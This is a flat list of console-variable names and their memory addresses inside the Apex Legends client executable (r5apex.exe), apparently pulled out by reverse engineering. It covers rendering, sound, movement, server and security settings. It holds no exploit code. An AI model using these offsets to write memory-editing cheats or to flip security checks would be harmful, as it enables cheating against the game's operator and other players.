+r5apex.exe!0x012e5e30 ConVar script_slopTimeBeforeBudgetEnforcement +r5apex.exe!0x01c700a0 ConVar script_window_client_precache +r5apex.exe!0x01c74ac0 ConVar scriptremotefunctions_debug +r5apex.exe!0x01ca5910 ConVar scriptremotefunctions_resetOnlyUi +r5apex.exe!0x01ca3dd0 ConVar scriptremotefunctions_saveFuncName +r5apex.exe!0x01e75bf0 ConVar seasonquest_force_missionscleared_count +r5apex.exe!0x01e75b50 ConVar seasonquest_force_treasurepacks_count +r5apex.exe!0x0189f090 ConVar send_script_errors +r5apex.exe!0x01cae990 ConVar sequence_transitioner_enable +r5apex.exe!0x011b2310 ConVar serverFilter +r5apex.exe!0x012e4fc0 ConVar serverReports_hostname +r5apex.exe!0x011a5170 ConVar server_concommands_allways_network +r5apex.exe!0x012e8fe0 ConVar server_query_interval +r5apex.exe!0x018a84d0 ConVar sfm_record_hz +r5apex.exe!0x011b6880 ConVar shader_lod_static_prop_scaled_dist +r5apex.exe!0x011b0760 ConVar shader_lod_world_mesh_scaled_dist +r5apex.exe!0x018bda20 ConVar shadow_always_update +r5apex.exe!0x0189cfa0 ConVar shadow_bleedfudge +r5apex.exe!0x011aaa40 ConVar shadow_capable +r5apex.exe!0x01e745e0 ConVar shadow_clear_dist +r5apex.exe!0x018b0030 ConVar shadow_dbg_cone_depthtest +r5apex.exe!0x018af360 ConVar shadow_dbg_cones +r5apex.exe!0x018bb840 ConVar shadow_dbg_draw +r5apex.exe!0x018bb700 ConVar shadow_default_filter_size +r5apex.exe!0x01c48a80 ConVar shadow_depth_dimen_min +r5apex.exe!0x018bd100 ConVar shadow_depth_upres_factor_max +r5apex.exe!0x018c3390 ConVar shadow_drawfrustum +r5apex.exe!0x018b7420 ConVar shadow_dynamic_blendfactor +r5apex.exe!0x011b0800 ConVar shadow_enable +r5apex.exe!0x018be660 ConVar shadow_esm_enable +r5apex.exe!0x018b6030 ConVar shadow_filter_maxstep +r5apex.exe!0x01c52260 ConVar shadow_info +r5apex.exe!0x01c47f50 ConVar shadow_lobby_mode_allowed +r5apex.exe!0x01c49160 ConVar shadow_max_downsizing_spot_updates +r5apex.exe!0x018c74d0 ConVar shadow_max_dynamic_lobby +r5apex.exe!0x018ba020 ConVar shadow_max_old_dynamic +r5apex.exe!0x018c06f0 ConVar shadow_max_spot_updates +r5apex.exe!0x012f61d0 ConVar shadow_maxdynamic +r5apex.exe!0x018b66a0 ConVar shadow_maxdynamic +r5apex.exe!0x018bdb60 ConVar shadow_min_count_smallest +r5apex.exe!0x0189d180 ConVar shadow_minvariance +r5apex.exe!0x01c526c0 ConVar shadow_multisampled +r5apex.exe!0x018b8360 ConVar shadow_noLOD +r5apex.exe!0x01c48310 ConVar shadow_show_spot_udpate_infos +r5apex.exe!0x018c3770 ConVar shadow_tools_depth_dimen_min +r5apex.exe!0x018bdee0 ConVar shadow_tools_depth_upres_factor_max +r5apex.exe!0x018c3090 ConVar shadow_tools_min_count_smallest +r5apex.exe!0x01c48150 ConVar shadow_tools_mode +r5apex.exe!0x018c4560 ConVar shadow_update_culling +r5apex.exe!0x018aec70 ConVar shake_angleFactor_human +r5apex.exe!0x018ab330 ConVar shake_angleFactor_titan +r5apex.exe!0x01c6b040 ConVar shake_basicPitchFactor +r5apex.exe!0x01c6cd60 ConVar shake_basicRandomRollFactor +r5apex.exe!0x018ad900 ConVar shake_offsetFactor_human +r5apex.exe!0x018aabd0 ConVar shake_offsetFactor_titan +r5apex.exe!0x01c48d00 ConVar shake_viewmodelFactor_ads_human +r5apex.exe!0x01c48270 ConVar shake_viewmodelFactor_ads_titan +r5apex.exe!0x018b8220 ConVar shake_viewmodelFactor_human +r5apex.exe!0x01c48da0 ConVar shake_viewmodelFactor_titan +r5apex.exe!0x012fb950 ConVar showfps_enabled +r5apex.exe!0x012f8910 ConVar showfps_heightpercent +r5apex.exe!0x012f0db0 ConVar showfps_mouse_latency +r5apex.exe!0x012fb090 ConVar showfps_smoothtime +r5apex.exe!0x012fc0d0 ConVar showfps_spinner +r5apex.exe!0x012f8b70 ConVar showmem_enabled +r5apex.exe!0x012fbb30 ConVar showmem_mode_bottom +r5apex.exe!0x012fc030 ConVar showmem_mode_top +r5apex.exe!0x01c6e4a0 ConVar showmemnumstats +r5apex.exe!0x01c6d560 ConVar showmemnumstatsrefresh +r5apex.exe!0x012fbd10 ConVar shownet_enabled +r5apex.exe!0x012fb8b0 ConVar showsnapshot_enabled +r5apex.exe!0x01c57d00 ConVar sidearmSwapSelectCooldown +r5apex.exe!0x01c62360 ConVar sidearmSwapSelectDoubleTapTime +r5apex.exe!0x011ab790 ConVar single_frame_shutdown_for_reload +r5apex.exe!0x012e74d0 ConVar singlestep +r5apex.exe!0x011b52a0 ConVar skill_arena +r5apex.exe!0x011b4ec0 ConVar skill_dediOnly +r5apex.exe!0x011b6360 ConVar skill_enabled +r5apex.exe!0x011ab8d0 ConVar skill_hostname +r5apex.exe!0x01c777f0 ConVar skip_jump_height_fraction +r5apex.exe!0x01ca9e50 ConVar skip_jump_height_speed +r5apex.exe!0x01cab1f0 ConVar skip_replenish_double_jump +r5apex.exe!0x01c75840 ConVar skip_sounds +r5apex.exe!0x01caaca0 ConVar skip_speed_reduce +r5apex.exe!0x01ca7dc0 ConVar skip_speed_retain +r5apex.exe!0x01cabda0 ConVar skip_time +r5apex.exe!0x011b3bd0 ConVar sleep_when_meeting_framerate +r5apex.exe!0x011b6b80 ConVar sleep_when_meeting_framerate_headroom_ms +r5apex.exe!0x01ca6eb0 ConVar slide_auto_stand +r5apex.exe!0x01c74940 ConVar slide_max_angle_dot +r5apex.exe!0x01c77950 ConVar slide_step_velocity_reduction +r5apex.exe!0x01cbd2b0 ConVar slide_viewTiltDecreaseSpeed +r5apex.exe!0x01cbd750 ConVar slide_viewTiltIncreaseSpeed +r5apex.exe!0x01cbbba0 ConVar slide_viewTiltPlayerSpeed +r5apex.exe!0x01cbcb20 ConVar slide_viewTiltSide +r5apex.exe!0x01ca13b0 ConVar slide_whileInAir +r5apex.exe!0x011a7050 ConVar slowconsolelog_old_logic +r5apex.exe!0x01cbd4d0 ConVar smoothstairs_lunge +r5apex.exe!0x011a6450 ConVar sort_opaque_meshes +r5apex.exe!0x018bc480 ConVar sound_classic_music +r5apex.exe!0x01c68320 ConVar sound_entity_seek_snap +r5apex.exe!0x01e75750 ConVar sound_musicReduced +r5apex.exe!0x01c52a60 ConVar sound_num_speakers +r5apex.exe!0x01e8d1f0 ConVar sound_only_warn_on_missing_sound_events_in_client_script +r5apex.exe!0x0127bb00 ConVar sound_printloaderrors +r5apex.exe!0x018b7560 ConVar sound_volume +r5apex.exe!0x018bebc0 ConVar sound_volume_dialogue +r5apex.exe!0x018beac0 ConVar sound_volume_dialogue_sp +r5apex.exe!0x018c1120 ConVar sound_volume_music_game +r5apex.exe!0x018bf1e0 ConVar sound_volume_music_game_sp +r5apex.exe!0x018be5c0 ConVar sound_volume_music_lobby +r5apex.exe!0x018af6a0 ConVar sound_volume_sfx +r5apex.exe!0x01c49490 ConVar sound_volume_sfx_sp +r5apex.exe!0x01c496f0 ConVar sound_volume_voice +r5apex.exe!0x018c4600 ConVar sound_without_focus +r5apex.exe!0x01c62240 ConVar soundscape_fadetime +r5apex.exe!0x01c606e0 ConVar soundscape_message +r5apex.exe!0x01c63780 ConVar soundscape_radius_debug +r5apex.exe!0x018a7210 ConVar soundtrigger_repeat_interval +r5apex.exe!0x011b3250 ConVar sp_not_focus_pause +r5apex.exe!0x0189cb40 ConVar spam_skinning_matrices_used +r5apex.exe!0x0189cd20 ConVar spam_skinning_matrices_used_detailed +r5apex.exe!0x01c763a0 ConVar spatial_partition_deadlock_assert +r5apex.exe!0x018ae790 ConVar spectator_command_interval +r5apex.exe!0x01e8f450 ConVar speech_queue_bytes +r5apex.exe!0x012eb020 ConVar speechtotext_audioenabled +r5apex.exe!0x012eaee0 ConVar speechtotext_enabled +r5apex.exe!0x012eae40 ConVar speechtotext_forcedisabled +r5apex.exe!0x012eac60 ConVar speechtotext_hostname +r5apex.exe!0x012eada0 ConVar speechtotext_msg_droptimeout +r5apex.exe!0x012e9ca0 ConVar speechtotext_path +r5apex.exe!0x012eaf80 ConVar speechtotext_quiettime +r5apex.exe!0x012ea9e0 ConVar speechtotext_stats_errorspermin +r5apex.exe!0x012ead00 ConVar speechtotext_stats_interval +r5apex.exe!0x012eab20 ConVar speechtotext_stats_senderrors +r5apex.exe!0x012eaa80 ConVar speechtotext_stats_sendrequests +r5apex.exe!0x012eabc0 ConVar speechtotext_stats_sendsuccess +r5apex.exe!0x011ad0c0 ConVar speechtotexttoken_hostname +r5apex.exe!0x011b85c0 ConVar speex_audio_recording +r5apex.exe!0x011b7810 ConVar speex_audio_value +r5apex.exe!0x012ee100 ConVar speex_preprocess_agc_max_gain +r5apex.exe!0x012edd40 ConVar speex_preprocess_noise_suppress +r5apex.exe!0x012ee060 ConVar speex_preprocess_set_agc_decrenment +r5apex.exe!0x012edca0 ConVar speex_preprocess_set_agc_increment +r5apex.exe!0x012edf20 ConVar speex_preprocess_set_agc_target +r5apex.exe!0x011b79f0 ConVar speex_quiet_threshold +r5apex.exe!0x011b7b30 ConVar speex_quiet_window +r5apex.exe!0x012edde0 ConVar speex_set_enh +r5apex.exe!0x012ede80 ConVar speex_use_highpass +r5apex.exe!0x012edfc0 ConVar speex_use_preproser +r5apex.exe!0x01e77a30 ConVar spinner_debug_info +r5apex.exe!0x01cbc300 ConVar sprint_powerdrain +r5apex.exe!0x01c48430 ConVar sprint_view_shake_style +r5apex.exe!0x01c71f50 ConVar sprinttilt_accel +r5apex.exe!0x01ca8520 ConVar sprinttilt_maxvel +r5apex.exe!0x01c752c0 ConVar sprinttilt_turnrange +r5apex.exe!0x01c6c0a0 ConVar ss_enable +r5apex.exe!0x01c6a000 ConVar ss_force_primary_fullscreen +r5apex.exe!0x01c608a0 ConVar ss_mimic +r5apex.exe!0x01c6c3a0 ConVar ss_splitmode +r5apex.exe!0x01c6ebe0 ConVar ss_verticalsplit +r5apex.exe!0x01c523a0 ConVar ss_viewmodelfov +r5apex.exe!0x012b4ba0 ConVar ss_voice_hearpartner +r5apex.exe!0x01301800 ConVar ssao_allow_partial +r5apex.exe!0x01301a80 ConVar ssao_blur +r5apex.exe!0x01301ee0 ConVar ssao_blur_edge_sharpness +r5apex.exe!0x01301d00 ConVar ssao_depth_max +r5apex.exe!0x013016c0 ConVar ssao_downsample +r5apex.exe!0x013019e0 ConVar ssao_enabled +r5apex.exe!0x01301da0 ConVar ssao_exponent +r5apex.exe!0x01301620 ConVar ssao_jitter_scale +r5apex.exe!0x01302020 ConVar ssao_max_res +r5apex.exe!0x013018a0 ConVar ssao_max_res_threshold +r5apex.exe!0x01301580 ConVar ssao_num_directions +r5apex.exe!0x01302480 ConVar ssao_num_steps +r5apex.exe!0x013022a0 ConVar ssao_on_everything +r5apex.exe!0x013014e0 ConVar ssao_radius +r5apex.exe!0x01301bc0 ConVar ssao_radius_in_lobby +r5apex.exe!0x012fe460 ConVar ssao_show +r5apex.exe!0x01302200 ConVar ssao_show +r5apex.exe!0x013025c0 ConVar ssao_show +r5apex.exe!0x01301760 ConVar ssao_snap_uv +r5apex.exe!0x01301f80 ConVar ssao_tech +r5apex.exe!0x01e74720 ConVar ssao_tech +r5apex.exe!0x01302520 ConVar ssao_upsample_ranged +r5apex.exe!0x011b51e0 ConVar startButtonCommand +r5apex.exe!0x011b3ee0 ConVar staticProp_budget +r5apex.exe!0x018b74c0 ConVar staticProp_buildlists_on_worker +r5apex.exe!0x011b5340 ConVar staticProp_debug_draw +r5apex.exe!0x011b3a90 ConVar staticProp_earlyDepthPrepass +r5apex.exe!0x011b67e0 ConVar staticProp_gather_size_weight +r5apex.exe!0x011b4020 ConVar staticProp_max_scaled_dist +r5apex.exe!0x011b6f40 ConVar staticProp_no_fade_scalar +r5apex.exe!0x01e74d00 ConVar staticProp_refineDrawOnWorker +r5apex.exe!0x011b4580 ConVar static_prop_dist_debug_draw +r5apex.exe!0x012f2f70 ConVar static_shadow +r5apex.exe!0x018b0200 ConVar static_shadow +r5apex.exe!0x018be980 ConVar static_shadow_bounds_per_env +r5apex.exe!0x01e740e0 ConVar static_shadow_debug_2d +r5apex.exe!0x018bd2c0 ConVar static_shadow_debug_dirty_rects +r5apex.exe!0x01c524c0 ConVar static_shadow_depth_bias_scale +r5apex.exe!0x018ba2a0 ConVar static_shadow_expand_z +r5apex.exe!0x018bd220 ConVar static_shadow_good_merge_ratio +r5apex.exe!0x018c3b00 ConVar static_shadow_good_merge_score +r5apex.exe!0x01c49530 ConVar static_shadow_prop_min_size +r5apex.exe!0x012fbbd0 ConVar static_shadow_res +r5apex.exe!0x018bb7a0 ConVar static_shadow_shrink_culler +r5apex.exe!0x012fbe50 ConVar static_shadow_use_d16 +r5apex.exe!0x018b7740 ConVar static_shadow_uses_shadow_lod +r5apex.exe!0x011ac940 ConVar staticfile_hostname +r5apex.exe!0x011ae090 ConVar stats_hostname +r5apex.exe!0x01cb38a0 ConVar status_effect_warning_level +r5apex.exe!0x012eb7c0 ConVar steam_debug +r5apex.exe!0x012eb8e0 ConVar steam_environment +r5apex.exe!0x012eb140 ConVar steam_id +r5apex.exe!0x012eb2e0 ConVar steam_name +r5apex.exe!0x012eb720 ConVar steam_presence_updateRate +r5apex.exe!0x012b7670 ConVar steam_spoofPCInGetUserInfo +r5apex.exe!0x012eb420 ConVar steamlink_hostname +r5apex.exe!0x012ff5d0 ConVar stream_addnoise +r5apex.exe!0x012ff190 ConVar stream_bsp_bucket_bias +r5apex.exe!0x012ffb70 ConVar stream_bsp_dist_scale +r5apex.exe!0x01ea5550 ConVar stream_cache_capacity_animseq +r5apex.exe!0x01ea54b0 ConVar stream_cache_capacity_mdl +r5apex.exe!0x01ea5410 ConVar stream_cache_capacity_while_loading +r5apex.exe!0x01ea4e70 ConVar stream_cache_high_priority_animations +r5apex.exe!0x01ea4dd0 ConVar stream_cache_high_priority_static_models +r5apex.exe!0x01ea4b70 ConVar stream_cache_multithreaded +r5apex.exe!0x01ea4cf0 ConVar stream_cache_preload_from_rpak +r5apex.exe!0x01ea5050 ConVar stream_cache_read_buffer_cap +r5apex.exe!0x01ea5370 ConVar stream_cache_read_count_cap +r5apex.exe!0x01ea5190 ConVar stream_cache_speculative_add_level_animseq +r5apex.exe!0x01ea50f0 ConVar stream_cache_speculative_add_level_mdl +r5apex.exe!0x01ea52d0 ConVar stream_cache_speculative_drop_animseq +r5apex.exe!0x01ea5230 ConVar stream_cache_speculative_drop_mdl +r5apex.exe!0x012ff410 ConVar stream_drop_unused +r5apex.exe!0x012ff230 ConVar stream_enable +r5apex.exe!0x012f6310 ConVar stream_freeze_camera +r5apex.exe!0x012ff0f0 ConVar stream_load_after_drop +r5apex.exe!0x012ffd30 ConVar stream_memory +r5apex.exe!0x012ff850 ConVar stream_memory_ignore +r5apex.exe!0x012ff7b0 ConVar stream_memory_ignore_vram +r5apex.exe!0x012ff710 ConVar stream_memory_min +r5apex.exe!0x012ff670 ConVar stream_memory_while_loading +r5apex.exe!0x012ff8f0 ConVar stream_mode +r5apex.exe!0x012ffa30 ConVar stream_never_high_priority_frac +r5apex.exe!0x012ffdd0 ConVar stream_overlay +r5apex.exe!0x012ffad0 ConVar stream_overlay_mode +r5apex.exe!0x012ff370 ConVar stream_pause +r5apex.exe!0x012ff2d0 ConVar stream_picmip +r5apex.exe!0x01300c00 ConVar stream_resource_max_commits_per_frame +r5apex.exe!0x01300ca0 ConVar stream_resource_thread +r5apex.exe!0x01300b60 ConVar stream_resource_wait_copy_to_commit +r5apex.exe!0x01300d40 ConVar stream_resource_wait_creation_to_copy +r5apex.exe!0x01300ac0 ConVar stream_resource_wait_for_additional_gpus +r5apex.exe!0x012ffc10 ConVar stream_temp_abort_old_inner_loop +r5apex.exe!0x012ff530 ConVar stream_temp_old_abort_all_behavior +r5apex.exe!0x012ff990 ConVar stream_temp_skip_abort_all +r5apex.exe!0x011b2950 ConVar stringtable_alwaysrebuilddictionaries +r5apex.exe!0x011ae6b0 ConVar stringtable_compress +r5apex.exe!0x011af440 ConVar stringtable_showsizes +r5apex.exe!0x0586ebc0 ConVar stryder_forceOriginUsersInvisible +r5apex.exe!0x012e52e0 ConVar stryder_security +r5apex.exe!0x01c76e70 ConVar stuck_debugging +r5apex.exe!0x01ca7510 ConVar stuck_debugging_world_only +r5apex.exe!0x011a3060 ConVar studiobonecache_unlimited +r5apex.exe!0x012e5060 ConVar subscription_hostname +r5apex.exe!0x01ca4930 ConVar superjump_disabled_from_water +r5apex.exe!0x01cabca0 ConVar superjump_drain_power_onfail +r5apex.exe!0x01ca5c10 ConVar superjump_fail_sound_when_jump_limit +r5apex.exe!0x01ca7e90 ConVar superjump_limit +r5apex.exe!0x01ca4490 ConVar superjump_limitreset_onwallrun +r5apex.exe!0x01c90b60 ConVar superjump_max_power_use +r5apex.exe!0x01c77680 ConVar superjump_min_height_fraction +r5apex.exe!0x01ca6db0 ConVar superjump_min_power_use +r5apex.exe!0x01ca2fe0 ConVar superjump_powerreset_onground +r5apex.exe!0x01ca6470 ConVar sv_airaccelerate +r5apex.exe!0x012e6a30 ConVar sv_allTicksFinal +r5apex.exe!0x012b3a80 ConVar sv_allowSendTableTransmitToClients +r5apex.exe!0x012b57e0 ConVar sv_allowSpectatorClients +r5apex.exe!0x012b49c0 ConVar sv_asyncSendSnapshot +r5apex.exe!0x01c760e0 ConVar sv_backspeed +r5apex.exe!0x012b4ce0 ConVar sv_balanceTeams +r5apex.exe!0x01c909f0 ConVar sv_bounce +r5apex.exe!0x012b6f90 ConVar sv_cheats +r5apex.exe!0x012b4160 ConVar sv_checkPropBudgets +r5apex.exe!0x012b4460 ConVar sv_compressPlaylists +r5apex.exe!0x011a6050 ConVar sv_compressTimeValEpsilon +r5apex.exe!0x011a61c0 ConVar sv_compressTimeVals +r5apex.exe!0x012b3d00 ConVar sv_connectingClientDelay +r5apex.exe!0x012b47e0 ConVar sv_debug_prop_send +r5apex.exe!0x012b6760 ConVar sv_debugmanualmode +r5apex.exe!0x012b6300 ConVar sv_disconnectOnScriptError +r5apex.exe!0x012b6b20 ConVar sv_disconnectOnTooManySnapshotFrames +r5apex.exe!0x011aaf50 ConVar sv_dumpstringtables +r5apex.exe!0x012b6940 ConVar sv_earlyPersistenceRead +r5apex.exe!0x012e7050 ConVar sv_everyThirdTick +r5apex.exe!0x012b5ea0 ConVar sv_extra_client_connect_time +r5apex.exe!0x012b5cc0 ConVar sv_fakeClientBaseId +r5apex.exe!0x01cad8b0 ConVar sv_footsteps +r5apex.exe!0x01c76300 ConVar sv_friction +r5apex.exe!0x01cad0f0 ConVar sv_gravity +r5apex.exe!0x012b36c0 ConVar sv_hibernate_ms +r5apex.exe!0x012b4280 ConVar sv_hibernate_ms_vgui +r5apex.exe!0x012b69e0 ConVar sv_hibernate_postgame_delay +r5apex.exe!0x012b63a0 ConVar sv_hibernate_when_empty +r5apex.exe!0x01cbda70 ConVar sv_infinite_ammo +r5apex.exe!0x012b59c0 ConVar sv_instancebaselines +r5apex.exe!0x011a8c30 ConVar sv_loadMapModelEarly +r5apex.exe!0x011b08a0 ConVar sv_lobbyType +r5apex.exe!0x012b40c0 ConVar sv_max_prop_data_dwords_lobby +r5apex.exe!0x012b4a60 ConVar sv_max_prop_data_dwords_multiplayer +r5apex.exe!0x012b3e40 ConVar sv_max_prop_data_dwords_singleplayer +r5apex.exe!0x012b43c0 ConVar sv_max_props_lobby +r5apex.exe!0x012b3da0 ConVar sv_max_props_multiplayer +r5apex.exe!0x012b3bc0 ConVar sv_max_props_singleplayer +r5apex.exe!0x012b5880 ConVar sv_max_snapshots_lobby +r5apex.exe!0x012b2f80 ConVar sv_max_snapshots_multiplayer +r5apex.exe!0x012b6c60 ConVar sv_max_snapshots_singleplayer +r5apex.exe!0x012b4620 ConVar sv_maxclientframes +r5apex.exe!0x012b61c0 ConVar sv_maxrate +r5apex.exe!0x011adc60 ConVar sv_maxroutable +r5apex.exe!0x01ca9b70 ConVar sv_maxspeed +r5apex.exe!0x012b56a0 ConVar sv_maxupdaterate +r5apex.exe!0x01ca9d80 ConVar sv_maxvelocity +r5apex.exe!0x012b4500 ConVar sv_minrate +r5apex.exe!0x012b4920 ConVar sv_minupdaterate +r5apex.exe!0x01ca6170 ConVar sv_optimizedmovement +r5apex.exe!0x012b38a0 ConVar sv_parallel_sendsnapshot +r5apex.exe!0x012b3620 ConVar sv_pausable +r5apex.exe!0x012b2da0 ConVar sv_playerNameAppendCheater +r5apex.exe!0x01cab810 ConVar sv_players +r5apex.exe!0x012b5b00 ConVar sv_printHighWaterMark +r5apex.exe!0x01ca3120 ConVar sv_pushaway_accel +r5apex.exe!0x01c71d30 ConVar sv_pushaway_clientside +r5apex.exe!0x01cb3fd0 ConVar sv_pushaway_clientside_size +r5apex.exe!0x01caa200 ConVar sv_pushaway_debug +r5apex.exe!0x01c72600 ConVar sv_pushaway_dist +r5apex.exe!0x01ca5cb0 ConVar sv_pushaway_min_player_speed +r5apex.exe!0x01ca5df0 ConVar sv_pushaway_player_accel +r5apex.exe!0x01c76800 ConVar sv_pushaway_player_dist +r5apex.exe!0x012b4f40 ConVar sv_rejectClientConnects +r5apex.exe!0x012b3320 ConVar sv_rejectConnections +r5apex.exe!0x012b4740 ConVar sv_rejectInvalidStryderSecurityToken +r5apex.exe!0x012b3ee0 ConVar sv_requireOriginToken +r5apex.exe!0x012b4fe0 ConVar sv_resendSignonData +r5apex.exe!0x01caac00 ConVar sv_rollangle +r5apex.exe!0x01ca4d60 ConVar sv_rollspeed +r5apex.exe!0x012b3280 ConVar sv_runSpatialOptimizeInJob +r5apex.exe!0x012b5740 ConVar sv_scarySnapDeltaPrints +r5apex.exe!0x012b6580 ConVar sv_sendEarlyServerInfo +r5apex.exe!0x012b4320 ConVar sv_sendReplayNetMessagesOnNoDeltaSnaps +r5apex.exe!0x012b5120 ConVar sv_separate_freq_change_prop_send +r5apex.exe!0x012b3760 ConVar sv_showClientTickCmds +r5apex.exe!0x012b3020 ConVar sv_showLargeSnapshotSize +r5apex.exe!0x012b2d00 ConVar sv_showSnapshots +r5apex.exe!0x012b2ee0 ConVar sv_showUserCmds +r5apex.exe!0x012b6120 ConVar sv_single_core_dedi +r5apex.exe!0x012b31e0 ConVar sv_skipSendingUnnecessaryPersistence +r5apex.exe!0x012b5600 ConVar sv_snapshot_uniform_interval +r5apex.exe!0x01ca5650 ConVar sv_specaccelerate +r5apex.exe!0x01c77c30 ConVar sv_specnoclip +r5apex.exe!0x01c75e80 ConVar sv_specspeed +r5apex.exe!0x012b2c60 ConVar sv_stats +r5apex.exe!0x01c76260 ConVar sv_stopspeed +r5apex.exe!0x012b64e0 ConVar sv_stressbots +r5apex.exe!0x012b6800 ConVar sv_struggleCheck +r5apex.exe!0x012b39e0 ConVar sv_struggleSpam +r5apex.exe!0x012b5fe0 ConVar sv_struggleSpamInterval +r5apex.exe!0x012b4b00 ConVar sv_tempents_send_from_delta +r5apex.exe!0x012b2e40 ConVar sv_tempents_send_from_last_sent +r5apex.exe!0x012ed5c0 ConVar sv_testLargeDatablock +r5apex.exe!0x018a65f0 ConVar sv_teststepsimulation +r5apex.exe!0x012b6440 ConVar sv_transmitToAllPlayersMask_allBitsSet +r5apex.exe!0x012b4ea0 ConVar sv_unnecessaryConnectDelay +r5apex.exe!0x012b3b20 ConVar sv_unreliableSnapMaxSize +r5apex.exe!0x012b3580 ConVar sv_updaterate_mp +r5apex.exe!0x012b5920 ConVar sv_updaterate_sp +r5apex.exe!0x012b3c60 ConVar sv_useReputation +r5apex.exe!0x012b5a60 ConVar sv_useThreadsForSnapshots +r5apex.exe!0x012b6620 ConVar sv_voiceEcho +r5apex.exe!0x012b5f40 ConVar sv_voiceenable +r5apex.exe!0x012b4020 ConVar sv_warnAboutCmdNumJumps +r5apex.exe!0x011b2f30 ConVar sv_watchdogTimer +r5apex.exe!0x01c71bf0 ConVar sv_wateraccelerate +r5apex.exe!0x01cac310 ConVar sv_waterdist +r5apex.exe!0x011b16f0 ConVar sv_writePersistenceOnShutdown +r5apex.exe!0x01e8b970 ConVar sys_attract_mode_timeout +r5apex.exe!0x011b56e0 ConVar system_alt_f4_closes_window +r5apex.exe!0x01ca7470 ConVar teams_unassigned_are_friendly +r5apex.exe!0x012e76f0 ConVar telemetry_client_debug +r5apex.exe!0x012e6350 ConVar telemetry_client_enable +r5apex.exe!0x012e6fb0 ConVar telemetry_client_sendInterval +r5apex.exe!0x012e5d90 ConVar telemetryevent_client_enable +r5apex.exe!0x012b2940 ConVar tencent_restricted +r5apex.exe!0x012e5cf0 ConVar test_fakeTimeDays +r5apex.exe!0x01ca8ad0 ConVar tether_damageScale +r5apex.exe!0x01c723a0 ConVar tether_dodge_damage +r5apex.exe!0x01c71ff0 ConVar tether_healthDrain +r5apex.exe!0x01c76580 ConVar tether_healthDrainNPC +r5apex.exe!0x01cabbd0 ConVar tether_maxvel +r5apex.exe!0x01cab3c0 ConVar tether_radius +r5apex.exe!0x01caa2d0 ConVar tether_strength +r5apex.exe!0x01c5c0c0 ConVar thirdperson_mayamode +r5apex.exe!0x018af0d0 ConVar thirdperson_override +r5apex.exe!0x01c648a0 ConVar thirdperson_screenspace +r5apex.exe!0x011a8160 ConVar timeout +r5apex.exe!0x011a8200 ConVar timeout_during_load +r5apex.exe!0x01cbdc50 ConVar titan_sprint_sound +r5apex.exe!0x01e9dc90 ConVar toggle_on_jump_to_deactivate +r5apex.exe!0x012b72b0 ConVar tracehull_height_error_check +r5apex.exe!0x01c5f7b0 ConVar tracer_debug +r5apex.exe!0x01e98700 ConVar trail_optimizedRemove +r5apex.exe!0x01c72090 ConVar traversal_anim +r5apex.exe!0x01c74720 ConVar traversal_cooldown +r5apex.exe!0x01ca5380 ConVar traversal_enable +r5apex.exe!0x01c769e0 ConVar traversal_hand_debug +r5apex.exe!0x01ca59b0 ConVar traversal_hand_required_width +r5apex.exe!0x01e929a0 ConVar traversal_viewLerpInDuration +r5apex.exe!0x01e95d10 ConVar traversal_viewLerpOut +r5apex.exe!0x01e96910 ConVar traversal_viewLerpOutAngle +r5apex.exe!0x01e90420 ConVar traversal_viewLerpOutDebug +r5apex.exe!0x01e96e90 ConVar traversal_viewLerpOutPos +r5apex.exe!0x01c75ac0 ConVar traversal_window_duration +r5apex.exe!0x01c747c0 ConVar traversal_window_enable +r5apex.exe!0x01c768a0 ConVar traversal_window_finish_angle +r5apex.exe!0x01ca4710 ConVar traversal_window_forward_offset +r5apex.exe!0x01cab530 ConVar traversal_window_hand_vertical_offset +r5apex.exe!0x01ca8210 ConVar traversal_window_sideways_offset +r5apex.exe!0x018ac9c0 ConVar traversal_window_view_pitch_max +r5apex.exe!0x018ab290 ConVar traversal_window_view_pitch_min +r5apex.exe!0x018aea10 ConVar traversal_window_yaw_max +r5apex.exe!0x01c72d80 ConVar trigger_crowd_pusher_enabled +r5apex.exe!0x01ca9530 ConVar trigger_ignore_nonsolids +r5apex.exe!0x013027a0 ConVar tsaa_blendfactorincreaseatmaxvelocity +r5apex.exe!0x01302840 ConVar tsaa_blendfactorincreasewhenunoccluded +r5apex.exe!0x01302980 ConVar tsaa_blendfactormaxesoutatvelocity +r5apex.exe!0x01302b60 ConVar tsaa_blendfactormodulationonsparklesandunocclusion +r5apex.exe!0x01302a20 ConVar tsaa_blendfactoroverride +r5apex.exe!0x013028e0 ConVar tsaa_curframeblendamount +r5apex.exe!0x01302ac0 ConVar tsaa_debugresponsiveflag +r5apex.exe!0x01302660 ConVar tsaa_neighborhoodclamping +r5apex.exe!0x01302700 ConVar tsaa_neighborhoodclampingsoftened +r5apex.exe!0x01c6ed20 ConVar tsaa_numsamples +r5apex.exe!0x01c65880 ConVar tweak_light_shadows_every_frame +r5apex.exe!0x01279b90 ConVar twitch_check_interval +r5apex.exe!0x0127adf0 ConVar twitch_prime_rewards +r5apex.exe!0x0127a210 ConVar twitch_shouldQuery +r5apex.exe!0x01e8a8f0 ConVar ui_DpadNavigationDeActive +r5apex.exe!0x01e8b750 ConVar ui_fadecloud_time +r5apex.exe!0x01e8b6b0 ConVar ui_fadexui_time +r5apex.exe!0x01e8a990 ConVar ui_gameui_ctrlr_title +r5apex.exe!0x01e8b110 ConVar ui_gameui_modal +r5apex.exe!0x01e8ac10 ConVar ui_loadingscreen_autotransition_time +r5apex.exe!0x01e8b2f0 ConVar ui_loadingscreen_fadein_time +r5apex.exe!0x011a6c70 ConVar ui_loadingscreen_fadeout_time +r5apex.exe!0x01e8b390 ConVar ui_loadingscreen_fadeout_time +r5apex.exe!0x01e8bd30 ConVar ui_loadingscreen_mintransition_time +r5apex.exe!0x01e8af30 ConVar ui_loadingscreen_transition_time +r5apex.exe!0x01e8ab70 ConVar ui_lobby_jointimeout +r5apex.exe!0x01e8bc90 ConVar ui_lobby_noautostart +r5apex.exe!0x01e8b610 ConVar ui_lobby_noresults_create_msg_time +r5apex.exe!0x01cbe590 ConVar ui_posedebug_fade_in_time +r5apex.exe!0x01cbe4f0 ConVar ui_posedebug_fade_out_time +r5apex.exe!0x01e8aad0 ConVar ui_virtualnav_render +r5apex.exe!0x01c72c40 ConVar unique_entity_names +r5apex.exe!0x01e8d530 ConVar usePromptBaseColor +r5apex.exe!0x01e8f270 ConVar usePromptButtonTextColor +r5apex.exe!0x01e8d290 ConVar usePromptImageScale +r5apex.exe!0x01e8ed20 ConVar usePromptImageYOffset +r5apex.exe!0x01e8ff00 ConVar usePromptTextColor +r5apex.exe!0x01e74540 ConVar use_monitors +r5apex.exe!0x012ed420 ConVar use_presence_to_refresh_userInfoCache 